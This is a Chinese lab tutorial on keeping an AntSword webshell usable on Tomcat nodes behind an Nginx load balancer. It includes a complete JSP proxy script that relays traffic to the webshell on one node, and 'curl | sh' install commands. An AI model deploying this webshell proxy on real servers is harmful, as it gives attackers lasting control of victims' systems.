【安全】Nginx负载均衡下上传Webshell

news2025/2/22 12:25:29

目录

负载均衡下上传webshell

webshell简介

一、环境搭建

①下载中国蚁剑,于github获取官方版:

②下载docker&docker-compose

③结合前面启动环境

 ④验证

Ⅱ、负载均衡下webshell上传的几个问题

①shell文件上传稳定节点问题

②命令执行时的漂移问题 

 ③大工具投放失败

 Ⅲ、问题解决方案

①重复上传       

②关机

③脚本实现web层的流量转发⭐⭐


负载均衡下上传webshell

webshell简介

        某天公司的网络运维人员发现公司的业务系统遭到了攻击,被挂了木马,导致公司数据泄露,并且黑客留下了后门。webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序。Webshell就是就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,可以对web服务器进行操作的权限,也可以将其称做为一种网页后门。

        Webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于Webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用。黑客在入侵了一个网站后,通过一些上传方式会将Sp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作,以达到控制网站服务器的目的。

一、环境搭建

①下载中国蚁剑,于github获取官方版:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword tests

【上面这个丢linux里,这个是在window上装加载器可以搜教程👇】

②下载docker&docker-compose

方式一
//安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是devicemapper驱动依赖
yum install -y yum-utils device-mapper-persistent-data lvm2
//设置yum源
yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo//中央仓库
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo//阿里云仓库
//安装
yum -y install docker-ce.x86_64

【按照👆这个搞最后我是启动环境的时候出问题了,经过参考高手有了方式二】

方式二
//在 Linux上 安装 Docker
curl -sSL https://get.daocloud.io/docker | sh
//安装 Docker Compose
curl -L https://get.daocloud.io/docker/compose/releases/download/v2.16.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
//给予执行权限
chmod +x /usr/local/bin/docker-compose
//启动docker服务
systemctl start docker

③结合前面启动环境

//我的蚁剑放在/root下的
cd /root/AntSword-Labs-master/loadbalance/loadbalance-jsp
//启动环境
docker-compose up -d

//查看端口
docker ps -a

 ④验证

【访问192.168.174.77:18080 (外部无法直接访问,环境搭建成功)】

        目前整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,在外部是没法直接访问到的。

用shell尝试连接:

         【测试连接成功之后左上角添加即可】

Ⅱ、负载均衡下webshell上传的几个问题

①shell文件上传稳定节点问题

        先尝试刷新,现在还是正常的状态

 

//看一下端口
[root@CentOS7 loadbalance-jsp]# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                   CREATED      STATUS          PORTS                                     NAMES
a2a8e0faa078   nginx:1.17                 "nginx -g 'daemon of…"   2 days ago   Up 14 minutes   0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
5eeb49dec8b9   loadbalance-jsp-lbsnode1   "catalina.sh run"         2 days ago   Up 14 minutes   8080/tcp                                  loadbalance-jsp-lbsnode1-1
007e682ce6e4   loadbalance-jsp-lbsnode2   "catalina.sh run"         2 days ago   Up 14 minutes   8080/tcp                                  loadbalance-jsp-lbsnode2-1
//进入一个节点服务器
[root@CentOS7 loadbalance-jsp]# docker exec -it 5eeb49dec8b9 /bin/bash
//找一下ant.jsp
root@5eeb49dec8b9:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/39/map_files’: Operation not permitted
find: ‘/proc/47/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
//尝试让webshell连接失效
root@5eeb49dec8b9:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@5eeb49dec8b9:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant.jsp.bak

 【多刷新几次就看到错误了、是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上,因为上面并没有我们上传上去的文件。所以访问不到,出现了404。故如何让我们的webshell均匀的出现在节服务器上,是第一个问题。】

②命令执行时的漂移问题 

        简单来说就是发出webshell执行命令时,不知道命令会在哪台服务器上执行

//复活刚刚那个节点服务器【记得多刷新几次看复活成功没】
mv ant.jsp.bak ant.jsp

 【在蚁剑中打开终端】

 【执行查看IP的命令,发现每条命令都执行了负载均衡的策略,据高手跳跳小强的说明,换成权重模式再加上多台节点服务器的话,IP地址更是无迹可寻】

 ③大工具投放失败

        当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。

        简单来说就是投放工具不完整 

 Ⅲ、问题解决方案

①重复上传       

        问题一解决可以重复上传多次,webshell一定能上传到所有的节点服务器上去。

②关机

        能解决问题,但是实际环境中权限不知道够不够,够的话也十分危险,关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。

③脚本实现web层的流量转发⭐⭐

        我们用AntSword无法直接访问LBSnode1的8080端口,但是除了Nginx外,LBSnode2是可以访问的,也就是说我们写入一个脚本判断流量的目的地址,不是node1的话就将流量中转给node1的ant.jsp。如此就可以建立攻击者和node1的稳定连接了。

 【这个图的意思就是antproxy.jsp这个脚本无论你进入的是哪个节点,到最后都转发给node1的ant.jsp文件,以此达到稳定通信】

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%		
//地址自己看自己的节点服务器的地址
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

 【在/usr/local/tomcat/webapps/ROOT/下创建antproxy.jsp】

 【注意要新建,不要上传,和问题③一样的原因,会被分片】

 【多保存几次让每个节点都部署到,重复刷新检查】

 【把url填写成antproxy.jsp测试连接几次,然后进去】

 验证

【这次查看IP就不漂移了】 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/344684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows CMD常用命令

目录 【打开CMD命令】 【网络测试命令】 ipconfig------查看本机网卡信息 ping------测试网络是否通畅 tracert------追踪路由&#xff0c;也可以用来查看网络连通性 telnet------查看目的主机ip的端口号是否开放 tcping------查看目的主机ip的端口号是否开放 【关于路…

【零基础入门前端系列】—无序列表、有序列表、定义列表(四)

一、HTML无序列表 无序列表是一个项目的列表&#xff0c;此列项目使用粗体圆点&#xff08;典型的小黑圆圈&#xff09;进行标记。 无序列表使用 <ul> 标签 <ul> <li>Coffee</li> <li>Milk</li> </ul>嵌套结构&#xff1a; <…

VSCode 的下载安装及基本使用

目录 一、VSCode 是什么&#xff1f; 二、VSCode 的下载和安装 2.1 - 下载 2.2 - 安装 2.3 - 安装汉化插件 三、MinGW-w64 的下载安装及配置 3.1 - 介绍 3.2 - 下载 3.3 - 解压安装 3.4 - 环境变量配置 3.5 - 验证配置是否成功 3.6 - 安装 C/C 插件 四、在 VSCode …

SD卡里的视频无法正常播放出来怎么办?

在日常工作和学习中经常会用到SD卡这个存储设备&#xff0c;它存储空间大&#xff0c;使用方便&#xff0c;很多设备上都使用SD卡作为存储工具。SD卡已经成为我们众多电子设备中重要的一员&#xff0c;为我们存储着相片、视频、文档、音频等数据。 SD卡为我们提供了巨大便利&a…

QT(51)-动态链接库-windows

1.qt- 调用win32 DLL 2.qt- 调用MFC DLL 0概述&#xff1a; 01.扩展DLL&#xff1a; 必须有一个DllMain()函数&#xff0c;且调用AfxInitExtensionModule()函数。 CRuntimeClass类-初始化函数CDynLinkLibrary。02.windows定位DLL文件&#xff1a; 1&#xff09…

第五章 在React中如何定义组件

一、安装react开发者工具 在开始之前&#xff0c;我们先做准备一下辅助工具&#xff0c;类似于Vue的开发者工具&#xff0c;React 开发者工具是一款浏览器扩展&#xff0c;可以帮助您在浏览器中调试 React 应用程序。 下面是如何安装 React 开发者工具的步骤&#xff1a; 打开…

常用类详解(三)StringBuilder

(1)一个可爱的字符序列。此类提供一个与StringBuffer兼容的API&#xff0c;但不保证同步(StringBuilder不是线程安全的)&#xff0c;该类被设计用作StringBuffer的一个简易替换&#xff0c;用在字符串缓冲区被单个线程使用的时候。如果可能&#xff0c;建议优先采用该类&#x…

保护品牌线上声誉的5种方法

我们如今生活在一个搜索便捷的世界&#xff0c;对于一个企业和个人来说&#xff0c;品牌的线上声誉也尤为重要。在客户考虑与您的公司开展业务之前&#xff0c;他们理所当然会先使用众多软件和平台搜索相关信息&#xff0c;以帮助他们了解和做决定。 因此&#xff0c;您的品牌…

2023最新整理软件测试面试题附答案

包含的模块&#xff1a; 本文分为十九个模块&#xff0c;分别是&#xff1a;软件测试 基础、liunx、MySQL、web测试、接口测试、APP测试 、管理工具、Python、性能测试、selenium、lordrunner、计算机网络、组成原理、数据结构与算法、逻辑题、人力资源需要的可以找我获取&…

预算砍砍砍,IT运维如何降本增效

疫情短暂过去&#xff0c;一个乐观的共识正在蔓延&#xff1a;2023年的互联网&#xff0c;绝对不会比2022年更差。 “降本”是过去一年许多公司的核心策略&#xff0c;营销大幅缩水、亏损业务大量撤裁&#xff0c;以及层出不穷的裁员消息。而2023年在可预期的经济复苏下&#…

ChatGPT走红| 微软ATP带你开启高校AI人才培育新时代

与传统搜索引擎不同的是&#xff0c;ChatGPT不是机械罗列出相关网页结果&#xff0c;而是将答案进行整理、优化&#xff0c;以对话形式呈现给用户&#xff0c;还能很快根据上下文互动&#xff01;甚至有人用它辅助自己写论文、完成文字性作业……▍抢跑早规划 入门AI不迷茫AI体…

【C++】类和对象(三)

目录 一、构造函数补充 1、初始化列表 1.1、初始化列表概念 1.2、初始化列表性质 2、explicit关键字 二、static成员 1、概念及使用 2、性质总结 三、友元 1、友元函数 2、友元类 四、内部类 五、拷贝对象时的一些编译器优化 一、构造函数补充 在《类和对象&#x…

GeoTools:FeatureShapefile之CRUD操作

之前在《GIS开源框架&#xff1a;ArcGIS文件地理数据库(GDB)解析与入库》中&#xff0c;从地理数据库的角度对Feature要素进行了解释&#xff0c;接下来&#xff0c;我们将从GeoTools库的角度&#xff0c;重新认识Feature要素&#xff0c;并通过GeoTools实现Shapefile文件在Fea…

产品、技术:如何编写有效的流程文档?

流程文档是指一系列的、连续的、有规律的活动过程&#xff0c;而这些活动以特定的方式进行&#xff0c;并导致特定结果&#xff08;创造价值&#xff09;的产生。流程梳理是指围绕企业的内部要素与外部要素&#xff0c;对整个企业的业务特点和现状进行深入细致的分析、整理、提…

Fiddler使用笔记(柠檬班)

Fiddler笔记 内部功能 Replay 重放请求。 号 移除请求&#xff0c;可以通过Shift Delete来选择要保存的请求&#xff0c;其他的都删掉。 Go 断点的时候使用&#xff0c;作用是转到下一步。 Stream 流模式&#xff0c;一般不用它。 Decode 用于解码信息。通常对响应…

Ambire AdEx 2023 年路线图

Ambire AdEx 是为简化 web3 显示广告而建立的&#xff0c;领先于时代。到 2023 年&#xff0c;它将专注于服务用户需求&#xff0c;同时保持其作为区块链隐私解决方案的核心&#xff0c;反对传统的数字广告模式。 回顾 2022 年 2022 年&#xff0c;AdEx 网络处理了超过 1 亿次展…

Hudi-并发控制

并发控制 Hudi支持的并发控制 MVCC Hudi的表操作&#xff0c;如压缩、清理、提交&#xff0c;hudi会利用多版本并发控制来提供多个表操作写入和查询之间的快照隔离。使用MVCC这种模型&#xff0c;Hudi支持并发任意数量的操作作业&#xff0c;并保证不会发生任何冲突。Hudi默…

小米电视安装 Plex 打造家庭影院

背景 最近突然想重温教父&#xff0c;本来想着直接投屏就可以&#xff0c;后来看了别人搭建的基于 NAS 的家庭影院很动心&#xff0c;也想依葫芦画瓢做一个&#xff0c;跟对象申请经费的时候被拒了&#xff0c;理由是有这钱还不如开个会员直接看。 我寻思不同电影在不同的平台…

遥感反演叶面积指数 (LAI)

叶面积指数 叶面积指数&#xff08;Leaf Area Index, LAI&#xff09;是反映一个生态系统中单位面积上的叶面积综合的一半&#xff0c;是模拟陆地生态过程、水热循环和生物地球化学循环的重要参数。 本文主要介绍LAI的遥感反演方法&#xff0c;其主要分为统计方法、植被辐射传输…

传奇私服搭建网站的几种方法

搭建网站的几种方法&#xff1a;一些人&#xff0c;连简单的搭建网站都不会&#xff0c;还要请技术帮忙&#xff0c;真是牛B&#xff0c;这里简单介绍下几种办法一&#xff1a;2003系统下&#xff0c;直接使用IIS&#xff0c;这个太简单了&#xff0c;桌面上就有IIS&#xff0c…